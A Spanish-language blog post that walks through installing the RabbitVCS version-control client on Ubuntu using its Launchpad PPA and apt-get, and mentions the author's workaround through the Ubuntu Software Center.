deb http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu **DISTRIBUTION** main

en **DISTRIBUTION** hay que agregar la distribución de tu versión de ubuntu entre las disponible que soporta RabbitVCS, en el siguiente enlace se puede ver las distintas distribución soportas por el software http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu/dists/

Actualizar los repositorios de software con

sudo apt-get update

Terminar la instalación con

sudo apt-get install rabbitvcs-core rabbitvcs-nautilus rabbitvcs-thunar rabbitvcs-gedit rabbitvcs-cli

Como yo tengo, a día de hoy, Ubuntu 11.10 de 64bits no me funcionaba este último paso, por lo que el último paso no lo llegué a realizar directamente desde consola sino que una vez hecho el update fui a “Centro de Software de Ubuntu” y lo instalé a través del panel.

Luego se instala la versión Nautilus 3 extension for RabbitVCS, pedirá las dependencias y se instala el paquete rabbitvcs-core y rabbitvcs-cli. Aunque éstos se pueden instalar anteriormente desde consola. El único problema puede venir a la hora de instalar el cliente para Nautilus si tienes la última versión de éste administrador de archivos.

Recomiendo a todo el quiera a probarlo y usarlo, como he dicho personalmente es el que más me ha gustado y más funcionalidades tiene así como un interfaz gráfico bastante bueno.

Para instalar RabbitVCS en otras distribuciones de Linx tipo Fedora, Debian, CentOS, etc.. en la página oficial hay un tutorial para cada una de ellas: http://www.rabbitvcs.org/

Tags de búsquedas:

centro de software ubuntu rabbitvcs, gedit subversion, rabbitsvn tutorial, ubuntu rabbitvcs apt-get

No related posts.